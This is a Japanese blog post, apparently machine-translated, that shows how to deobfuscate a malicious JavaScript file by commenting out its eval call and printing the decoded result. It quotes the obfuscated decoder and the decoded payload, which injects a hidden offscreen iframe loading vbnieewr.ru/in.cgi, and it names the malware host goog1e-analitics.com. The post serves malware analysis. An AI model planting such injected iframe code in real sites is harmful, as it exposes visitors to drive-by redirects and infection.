悪意のあるJavaScriptの復号化

こんにちは、habrの親愛なるユーザー。 この記事を公​​開した後、ユーザーは興味を持ち、LANとコメントで、これらのスクリプトがどのように解読されるのか、これらのコードは何をするのかを尋ね始めました。



エントリー



それでも、これらのスクリプトは何をするのでしょうか? ほとんどの場合、悪意のあるJScriptファイルは、「ハッカー」によってインストールされ、次のようなメリットが得られます。

ボットネットの補充、 winlockersのインストール、hostsファイルの修正により、ユーザーを偽のサイトにリダイレクトし、もちろんトラフィックを交換します。



そのため、悪意のあるJavaScriptをデコードし、それが導くアドレスを計算する方法について詳しく説明しようとします。





準備する



ソフトウェア


エディターNetBeans IDE 7.0を使用します。 第一に、私は常にその中で作業し、第二に、その中のコードをフォーマットすることは非常に便利です。 ただし、最も便利なエディターを使用できます。



悪意のあるコードを探しています


前回の記事の悪意のあるスクリプトを取り上げますので、ウイルス対策なしではそこに行かない方が良いでしょう。 ここに彼のアドレスがあります: goog1e-analitics.com/openapi.js あなたが再び感染することを恐れず、不必要な行動をとらないために、 pastebin.com / BJ751scyをコピーしてフォーマットしました

自分でフォーマットしたい人は、 NetBeans => Source Code => Formatに進んでください。



最初のステップ



コードをフォーマットし、タグ間のHTMLドキュメントに挿入した後、次のようなものを得ました(スクリーンショットのすべてのコードではありません)





取られた行動について簡単に



ご覧のとおり、今はスクリプトを読みません。 デコードするには、いくつかのアクションを実行するだけです。 ここで簡単に: eval (すべてのコードを実行する関数)をコメントアウトしevalで実行されるコードのその部分で変数xを作成します。 document.write(x)関数で変数xを呼び出します 。 最後のアクションは、unescape()関数を使用して16進数システム削除することです。

理論的には、すべてが簡単ですが、実際にはさらに簡単です!



私たちは主なものに渡します-練習





上記で書いたように、この関数を使用します(ファイルの24行目から開始します。異なる場合があります)。



$sA = function (_) { for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP) { $j += '\x25' + $P[$g++] + $P[$g--]; } $E['eva\x6C']($E[$d.$fJ]($j)); },
      
      







それでは始めましょう。 行$E['eva\x6C']($E[$d.$fJ]($j));



これについてコメントする必要があります。 これは、2つのスラッシュで行われます// $E['eva\x6C']($E[$d.$fJ]($j));





次に、変数を定義して呼び出します。次の結果が得られます。



 $sA = function (_) { for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP) { $j += '\x25' + $P[$g++] + $P[$g--]; } // $E['eva\x6C']($E[$d.$fJ]($j)); var x = $E[$d.$fJ]($j); document.write(x); },
      
      





今では何も私たちを脅かすものではありません。ブラウザでファイルを実行できます。







結果のコードをコピーしてフォーマットします。



 var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'), _n='s\x65\x74\x41\x74\x74\x72ibute'; _q[_n]('\x73rc','http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt'); _q.style.position='abs\x6F\x6C\x75\x74e'; _q.style.width='16px';_q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199')+1); _q.style.left = '-5597px';d\u006F\u0063ument.w\u0072ite(''); \u0064\u006Fcument.getElementById('__dr11938').appendChild(_q);
      
      







完了





16進数のシステムを削除して、いじるのに十分な時間があります。 これは次のように行われます。



内容を含むindex2.htmlファイルを作成します
 <script></script>
      
      







最初のファイル(index.html)から最初の行を取得します

 var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
      
      







行の一部をindex2.htmlファイルに挿入し、アラートと呼び、次のコードを取得します。

 <script> alert("q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),"); </script>
      
      







私たちは充実しています...



結果をコピーし、最初の行で置き換えます。16進数システムがあるすべての行についても同様です。



結果



 var _q = document.createElement('iframe'), _n = 'setAttribute'; _q[_n]('src', 'http://vbnieewr.ru/in.cgi?default'); _q.style.position = 'absolute'; _q.style.width = '16px'; _q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1); _q.style.left = '-5597px'; document.write('<div id=\'__dr11938\'></div>'); document.getElementById('__dr11938').appendChild(_q);
      
      







さて、悪意のあるスクリプトをデコードしました。これで、それが何をしているのかを理解できるようになりました。 このスクリプトは、アドレスvbnieewr.ru/in.cgi?defaultに iframeを作成します。



おわりに



親愛なるユーザー、プロジェクトのセキュリティを監視し、強力なパスワードを設定し、できるだけ頻繁にバックアップを作成します。



また、ユーザーRaz0rによって書かれた記事を共有したいと思います。 私のトピック、つまりマルウェアを分析して対処するための5つの無料オンラインサービスの短いレビューに基づいて書かれています



ご清聴ありがとうございました。



All Articles